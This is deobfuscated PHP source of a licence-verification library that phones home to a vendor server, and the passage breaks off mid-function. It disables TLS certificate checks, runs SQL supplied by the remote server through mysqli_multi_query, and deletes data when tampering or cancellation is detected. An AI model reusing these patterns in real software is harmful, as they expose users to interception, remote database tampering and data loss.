/* Decoded by unphp.net */
, September 2018
*/
function aplCustomEncrypt($string, $key)
{
$encrypted_string = null;
if (!(!empty($string) && !empty($key)))
{
goto pMlQt;
}
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length("aes-256-cbc"));
$encrypted_string = openssl_encrypt($string, "aes-256-cbc", $key, 0, $iv);
$encrypted_string = base64_encode($encrypted_string . "::" . $iv);
pMlQt:
return $encrypted_string;
}
function aplCustomDecrypt($string, $key)
{
$decrypted_string = null; if (!(!empty($string) && !empty($key)))
{
goto EpA3K;
}
$string = base64_decode($string);
if (!stristr($string, "::"))
{
goto MxGap;
}
$string_iv_array = explode("::", $string, 2);
if (!(!empty($string_iv_array) && count($string_iv_array) == 2))
{
goto aTdS4;
}
list($encrypted_string, $iv) = $string_iv_array;
$decrypted_string = openssl_decrypt($encrypted_string, "aes-256-cbc", $key, 0, $iv);
aTdS4:
MxGap:
EpA3K:
return $decrypted_string;
}
function aplValidateNumberOrRange($number, $min_value, $max_value = INF)
{
$result = false;
if (!(filter_var($number, FILTER_VALIDATE_INT) === 0 || !filter_var($number, FILTER_VALIDATE_INT) === false))
{
goto J3doE;
}
if ($number >= $min_value && $number <= $max_value)
{
goto RldcU;
}
$result = false;
goto BTRKy;
RldcU:
$result = true;
BTRKy:
J3doE:
if (!stristr($number, "-"))
{
goto av5Gj;
}
$numbers_array = explode("-", $number);
if (!(filter_var($numbers_array[0], FILTER_VALIDATE_INT) === 0 || !filter_var($numbers_array[0], FILTER_VALIDATE_INT) === false && filter_var($numbers_array[1], FILTER_VALIDATE_INT) === 0 || !filter_var($numbers_array[1], FILTER_VALIDATE_INT) === false))
{
goto Ngok2;
}
if ($numbers_array[0] >= $min_value && $numbers_array[1] <= $max_value && $numbers_array[0] <= $numbers_array[1])
{
goto fuM0v;
}
$result = false;
goto BhRBu;
fuM0v:
$result = true;
BhRBu:
Ngok2:
av5Gj:
return $result;
}
function aplValidateRawDomain($url)
{
$result = false;
if (empty($url))
{
goto WJe9_;
}
if (preg_match("/^[a-z0-9-.]+\.[a-z\.]{2,7}$/", strtolower($url)))
{
goto SwcAe;
}
$result = false;
goto nHC2G;
SwcAe:
$result = true;
nHC2G:
WJe9_:
return $result;
}
function aplGetCurrentUrl($remove_last_slash = null, $string_to_remove_array = null)
{
$current_url = null;
$protocol = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" ? "https" : "http";
if (!isset($_SERVER["HTTP_HOST"]))
{
goto huEJ0;
}
$host = $_SERVER["HTTP_HOST"];
huEJ0:
if (!isset($_SERVER["SCRIPT_NAME"]))
{
goto qPZaV;
}
$script = $_SERVER["SCRIPT_NAME"];
qPZaV:
if (!isset($_SERVER["QUERY_STRING"]))
{
goto WEWbZ;
}
$params = $_SERVER["QUERY_STRING"];
WEWbZ:
if (!(!empty($protocol) && !empty($host) && !empty($script)))
{
goto NqkGK;
}
$current_url = $protocol . "://" . $host . $script;
if (empty($params))
{
goto KLgh1;
}
$current_url .= "?" . $params;
KLgh1:
if (!(!empty($string_to_remove_array) && is_array($string_to_remove_array)))
{
goto v6EEP;
}
foreach ($string_to_remove_array as $key => $value)
{
$current_url = str_ireplace($value, '', $current_url);
RdJEz:
}
d3572:
v6EEP:
if (!($remove_last_slash == 1))
{
goto KcX59;
}
rgyHl:
if (!(substr($current_url, -1) == "/"))
{
goto aAuTv;
}
$current_url = substr($current_url, 0, -1);
goto rgyHl;
aAuTv:
KcX59:
NqkGK:
return $current_url;
}
function aplGetRawDomain($url)
{
$raw_domain = null;
if (empty($url))
{
goto OMJEU;
}
$url_array = parse_url($url);
if (!empty($url_array["scheme"]))
{
goto DMjP4;
}
$url = "http://" . $url;
$url_array = parse_url($url);
DMjP4:
if (empty($url_array["host"]))
{
goto HcNQe;
}
$raw_domain = $url_array["host"];
$raw_domain = trim(str_ireplace("www.", '', filter_var($raw_domain, FILTER_SANITIZE_URL)));
HcNQe:
OMJEU:
return $raw_domain;
}
function aplGetRootUrl($url, $remove_scheme, $remove_www, $remove_path, $remove_last_slash)
{
if (!filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED))
{
goto cnnf7;
}
$url_array = parse_url($url);
$url = str_ireplace($url_array["scheme"] . "://", '', $url);
if ($remove_path == 1)
{
goto aP20B;
}
$last_slash_position = strripos($url, "/"); if (!($last_slash_position > 0))
{
goto vnDc0;
}
$url = substr($url, 0, $last_slash_position + 1);
vnDc0:
goto iW2AK;
aP20B:
$first_slash_position = stripos($url, "/"); if (!($first_slash_position > 0))
{
goto kwrFv;
}
$url = substr($url, 0, $first_slash_position + 1);
kwrFv:
iW2AK:
if (!($remove_scheme != 1))
{
goto PWWle;
}
$url = $url_array["scheme"] . "://" . $url;
PWWle: if (!($remove_www == 1))
{
goto FSPaz;
}
$url = str_ireplace("www.", '', $url);
FSPaz: if (!($remove_last_slash == 1))
{
goto YFDE2;
}
xvISn:
if (!(substr($url, -1) == "/"))
{
goto gnzti;
}
$url = substr($url, 0, -1);
goto xvISn;
gnzti:
YFDE2:
cnnf7:
return trim($url);
}
function aplCustomPostGetHeaders($url, $refer = null, $post_info = null)
{
$user_agent = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0"; $connect_timeout = 10; $server_response_array = array(); $formatted_headers_array = array();
if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED)))
{
goto ZEKrD;
}
$refer = $url;
ZEKrD:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use(&$formatted_headers_array)
{
$len = strlen($header);
$header = explode(":", $header, 2);
if (!(count($header) < 2))
{
goto VKZ1i;
} return $len;
VKZ1i:
$name = strtolower(trim($header[0]));
$formatted_headers_array[$name] = trim($header[1]); return $len; });
$result = curl_exec($ch);
curl_close($ch);
$server_response_array["headers"] = $formatted_headers_array;
$server_response_array["body"] = $result; return $server_response_array;
}
function aplVerifyDate($date, $date_format)
{
$datetime = DateTime::createFromFormat($date_format, $date);
$errors = DateTime::getLastErrors();
if (!$datetime || !empty($errors["warning_count"]))
{
goto CniTB;
}
$date_check_ok = true;
goto TW6N_;
CniTB:
$date_check_ok = false;
TW6N_:
return $date_check_ok;
}
function aplGetDaysBetweenDates($date_from, $date_to)
{
$number_of_days = 0;
if (!(aplVerifyDate($date_from, "Y-m-d") && aplVerifyDate($date_to, "Y-m-d")))
{
goto CoDN4;
}
$date_to = new DateTime($date_to);
$date_from = new DateTime($date_from);
$number_of_days = $date_from->diff($date_to)->format("%a");
CoDN4:
return $number_of_days;
}
function aplParseXmlTags($content, $tag_name)
{
$parsed_value = null;
if (!(!empty($content) && !empty($tag_name)))
{
goto INdTi;
}
preg_match_all("/<" . preg_quote($tag_name, "/") . ">(.*?)<\/" . preg_quote($tag_name, "/") . ">/ims", $content, $output_array, PREG_SET_ORDER);
if (empty($output_array[0][1]))
{
goto R8Sfl;
}
$parsed_value = trim($output_array[0][1]);
R8Sfl:
INdTi:
return $parsed_value;
}
function aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
{
$notifications_array = array();
if (!empty($content_array))
{
goto yQ3VU;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto uhux3;
yQ3VU:
if (!empty($content_array["headers"]["notification_server_signature"]) && aplVerifyServerSignature($content_array["headers"]["notification_server_signature"], $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE))
{
goto TU4NP;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE;
goto Em56F;
TU4NP:
$notifications_array["notification_case"] = $content_array["headers"]["notification_case"];
$notifications_array["notification_text"] = $content_array["headers"]["notification_text"];
if (empty($content_array["headers"]["notification_data"]))
{
goto Zg9V6;
}
$notifications_array["notification_data"] = json_decode($content_array["headers"]["notification_data"], true);
Zg9V6:
Em56F:
uhux3:
return $notifications_array;
}
function aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
{
$script_signature = null;
$root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
if (!(!empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array)))
{
goto Hshmv;
}
$script_signature = hash("sha256", gmdate("Y-m-d") . $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE . APL_PRODUCT_ID . implode('', $root_ips_array));
Hshmv:
return $script_signature;
}
function aplVerifyServerSignature($notification_server_signature, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
{
$result = false; $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
if (!(!empty($notification_server_signature) && !empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array)))
{
goto F3Cnp;
}
if (!(hash("sha256", implode('', $root_ips_array) . APL_PRODUCT_ID . $LICENSE_CODE . $CLIENT_EMAIL . $ROOT_URL . gmdate("Y-m-d")) == $notification_server_signature))
{
goto unCsu;
}
$result = true;
unCsu:
F3Cnp:
return $result;
}
function aplCheckSettings()
{
$notifications_array = array();
if (!(empty(APL_SALT) || APL_SALT == "some_random_text"))
{
goto KXmpS;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT;
KXmpS:
if (!(!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) || !ctype_alnum(substr(APL_ROOT_URL, -1))))
{
goto Pr1X1;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL;
Pr1X1:
if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT))
{
goto b2uTW;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID;
b2uTW:
if (aplValidateNumberOrRange(APL_DAYS, 1, 365))
{
goto PaOz4;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD;
PaOz4:
if (!(APL_STORAGE != "DATABASE" && APL_STORAGE != "FILE"))
{
goto PRzEn;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE;
PRzEn:
if (!(APL_STORAGE == "DATABASE" && !ctype_alnum(str_ireplace(array("_"), '', APL_DATABASE_TABLE))))
{
goto WIfMa;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE;
WIfMa:
if (!(APL_STORAGE == "FILE" && !@is_writable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION)))
{
goto nyuEg;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE;
nyuEg:
if (!(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP)))
{
goto Yoy3U;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP;
Yoy3U:
if (!(!empty(APL_ROOT_IP) && !in_array(APL_ROOT_IP, gethostbynamel(aplGetRawDomain(APL_ROOT_URL)))))
{
goto Evsq9;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
Evsq9:
if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS)))
{
goto UGNmk;
}
foreach (APL_ROOT_NAMESERVERS as $nameserver)
{
if (aplValidateRawDomain($nameserver))
{
goto iEhfR;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS;
goto ZvWje;
iEhfR:
vxlwe:
}
ZvWje:
UGNmk:
if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS)))
{
goto EhvJo;
}
$apl_root_nameservers_array = APL_ROOT_NAMESERVERS;
$fetched_nameservers_array = array();
$dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS);
foreach ($dns_records_array as $record)
{
$fetched_nameservers_array[] = $record["target"];
ZM6un:
}
xNl3b:
$apl_root_nameservers_array = array_map("strtolower", $apl_root_nameservers_array);
$fetched_nameservers_array = array_map("strtolower", $fetched_nameservers_array);
sort($apl_root_nameservers_array);
sort($fetched_nameservers_array);
if (!($apl_root_nameservers_array != $fetched_nameservers_array))
{
goto VQOIh;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
VQOIh:
EhvJo:
return $notifications_array;
}
function aplParseLicenseFile()
{
$license_data_array = array();
if (!@is_readable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION))
{
goto tnFzD;
}
$file_content = file_get_contents(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION);
preg_match_all("/<([A-Z_]+)>(.*?)<\/([A-Z_]+)>/", $file_content, $matches, PREG_SET_ORDER);
if (empty($matches))
{
goto kKGvc;
}
foreach ($matches as $value)
{
if (!(!empty($value[1]) && $value[1] == $value[3]))
{
goto ry6Ox;
}
$license_data_array[$value[1]] = $value[2];
ry6Ox:
U8KX8:
}
CnEiz:
kKGvc:
tnFzD:
return $license_data_array;
}
function aplGetLicenseData($MYSQLI_LINK = null)
{
$settings_row = array();
if (!(APL_STORAGE == "DATABASE"))
{
goto Asz0F;
}
$settings_results = @mysqli_query($MYSQLI_LINK, "SELECT * FROM " . APL_DATABASE_TABLE);
$settings_row = @mysqli_fetch_assoc($settings_results);
Asz0F:
if (!(APL_STORAGE == "FILE"))
{
goto v_3BC;
}
$settings_row = aplParseLicenseFile();
v_3BC:
return $settings_row;
}
function aplCheckConnection()
{
$notifications_array = array();
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/connection_test.php", APL_ROOT_URL, "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&connection_hash=" . rawurlencode(hash("sha256", "connection_test")));
if (!empty($content_array))
{
goto tKeci;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto coAYa;
tKeci:
if (!($content_array["body"] != "OK"))
{
goto j6vZI;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE;
j6vZI:
coAYa:
return $notifications_array;
}
function aplCheckData($MYSQLI_LINK = null)
{
$error_detected = 0;
$cracking_detected = 0;
$data_check_result = false;
extract(aplGetLicenseData($MYSQLI_LINK));
if (!(!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && !empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD)))
{
goto txAvT;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY);
if (!(!filter_var($ROOT_URL, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) || !ctype_alnum(substr($ROOT_URL, -1))))
{
goto mCCbf;
}
$error_detected = 1;
mCCbf:
if (!(filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) && stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), aplGetRootUrl("{$ROOT_URL}/", 1, 1, 0, 1)) === false))
{
goto Ox4n1;
}
$error_detected = 1; Ox4n1: if (!(empty($INSTALLATION_HASH) || $INSTALLATION_HASH != hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE)))
{
goto mtVMK;
}
$error_detected = 1;
mtVMK:
if (!(empty($INSTALLATION_KEY) || !password_verify($LRD, aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL))))
{
goto QH6Kd;
}
$error_detected = 1;
$cracking_detected = 1;
QH6Kd:
if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "YES"))
{
goto mEapT;
}
aplDeleteData($MYSQLI_LINK); mEapT: if (!($error_detected != 1 && $cracking_detected != 1))
{
goto yKLtG;
}
$data_check_result = true;
yKLtG:
txAvT:
return $data_check_result;
}
function aplVerifyEnvatoPurchase($LICENSE_CODE = null)
{
$notifications_array = array();
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/verify_envato_purchase.php", APL_ROOT_URL, "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&connection_hash=" . rawurlencode(hash("sha256", "verify_envato_purchase")));
if (!empty($content_array))
{
goto tmvDr;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto QUGJZ;
tmvDr:
if (!($content_array["body"] != "OK"))
{
goto YVg8u;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE;
YVg8u:
QUGJZ:
return $notifications_array;
}
function incevioVerify($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto ezOp1;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto go8oy;
ezOp1:
if (!empty(aplGetLicenseData($MYSQLI_LINK)) && is_array(aplGetLicenseData($MYSQLI_LINK)))
{
goto yhMbn;
}
$INSTALLATION_HASH = hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_install.php", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["notification_case"] == "notification_license_ok"))
{
goto bxEog;
}
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); $LCD = aplCustomEncrypt(date("Y-m-d", strtotime("-" . APL_DAYS . " days")), APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "DATABASE"))
{
goto J0mRB;
}
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_scheme.php", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!(!empty($notifications_array["notification_data"]) && !empty($notifications_array["notification_data"]["scheme_query"])))
{
goto ijPWC;
}
$mysql_bad_array = array("%APL_DATABASE_TABLE%", "%ROOT_URL%", "%CLIENT_EMAIL%", "%LICENSE_CODE%", "%LCD%", "%LRD%", "%INSTALLATION_KEY%", "%INSTALLATION_HASH%");
$mysql_good_array = array(APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, $LRD, $INSTALLATION_KEY, $INSTALLATION_HASH);
$license_scheme = str_replace($mysql_bad_array, $mysql_good_array, $notifications_array["notification_data"]["scheme_query"]);
mysqli_multi_query($MYSQLI_LINK, $license_scheme) or die(mysqli_error($MYSQLI_LINK));
ijPWC:
J0mRB:
if (!(APL_STORAGE == "FILE"))
{
goto YjDjf;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
$fwrite = @fwrite($handle, "{$ROOT_URL}{$CLIENT_EMAIL}{$LICENSE_CODE}{$LCD}{$LRD}{$INSTALLATION_KEY}{$INSTALLATION_HASH}");
if (!($fwrite === false))
{
goto j5jli;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit;
j5jli:
@fclose($handle);
YjDjf:
bxEog:
goto AMSMx;
yhMbn:
$notifications_array["notification_case"] = "notification_already_installed";
$notifications_array["notification_text"] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED;
AMSMx:
go8oy:
return $notifications_array;
}
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0)
{
$notifications_array = array();
$update_lrd_value = 0;
$update_lcd_value = 0;
$updated_records = 0;
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto MGXq5;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto EyfI2;
MGXq5:
if (aplCheckData($MYSQLI_LINK))
{
goto xEna5;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto gw0RY;
xEna5:
extract(aplGetLicenseData($MYSQLI_LINK));
if (aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), date("Y-m-d")) < APL_DAYS && aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && $FORCE_VERIFICATION == 0)
{
goto BQ3t8;
}
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_verify.php", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["notification_case"] == "notification_license_ok"))
{
goto KCXic;
}
$update_lcd_value = 1;
KCXic:
if (!($notifications_array["notification_case"] == "notification_license_cancelled" && APL_DELETE_CANCELLED == "YES"))
{
goto Rkqw4;
}
aplDeleteData($MYSQLI_LINK);
Rkqw4:
goto Pouqz;
BQ3t8:
$notifications_array["notification_case"] = "notification_license_ok";
$notifications_array["notification_text"] = APL_NOTIFICATION_BYPASS_VERIFICATION;
Pouqz:
if (!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("Y-m-d")))
{
goto TnRCE;
}
$update_lrd_value = 1;
TnRCE:
if (!($update_lrd_value == 1 || $update_lcd_value == 1))
{
goto SJAY0;
}
if ($update_lcd_value == 1)
{
goto D_jtc;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
goto Bit0T;
D_jtc:
$LCD = date("Y-m-d");
Bit0T:
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "DATABASE"))
{
goto jL9U1;
}
$stmt = mysqli_prepare($MYSQLI_LINK, "UPDATE " . APL_DATABASE_TABLE . " SET LCD=?, LRD=?, INSTALLATION_KEY=?");
if (!$stmt)
{
goto olOaP;
}
mysqli_stmt_bind_param($stmt, "sss", $LCD, $LRD, $INSTALLATION_KEY);
$exec = mysqli_stmt_execute($stmt); $affected_rows = mysqli_stmt_affected_rows($stmt);
if (!($affected_rows > 0))
{
goto p_n3l;
}
$updated_records = $updated_records + $affected_rows;
p_n3l:
mysqli_stmt_close($stmt);
olOaP:
if (!($updated_records < 1))
{
goto jwe1L;
}
echo APL_NOTIFICATION_DATABASE_WRITE_ERROR;
exit;
jwe1L:
jL9U1:
if (!(APL_STORAGE == "FILE"))
{
goto GH7Bv;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
$fwrite = @fwrite($handle, "{$ROOT_URL}{$CLIENT_EMAIL}{$LICENSE_CODE}{$LCD}{$LRD}{$INSTALLATION_KEY}{$INSTALLATION_HASH}");
if (!($fwrite === false))
{
goto kkxiK;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit;
kkxiK:
@fclose($handle);
GH7Bv:
SJAY0:
gw0RY:
EyfI2:
return $notifications_array;
}
function aplVerifySupport($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto UQP1f;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto sRdO3;
UQP1f:
if (aplCheckData($MYSQLI_LINK))
{
goto xWq7M;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto PppAQ;
xWq7M:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_support.php", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
PppAQ:
sRdO3:
return $notifications_array;
}
function aplVerifyUpdates($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto pjSZP;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto IKxPK;
pjSZP:
if (aplCheckData($MYSQLI_LINK))
{
goto gqRMZ;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto gF6Zs;
gqRMZ:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_updates.php", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
gF6Zs:
IKxPK:
return $notifications_array;
}
function aplUninstallLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto tASuo;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto m4I_x;
tASuo:
if (aplCheckData($MYSQLI_LINK))
{
goto TSibm;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto ChgQz;
TSibm:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_uninstall.php", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["notification_case"] == "notification_license_ok"))
{
goto lu3tx;
}
if (!(APL_STORAGE == "DATABASE"))
{
goto cOnwt;
}
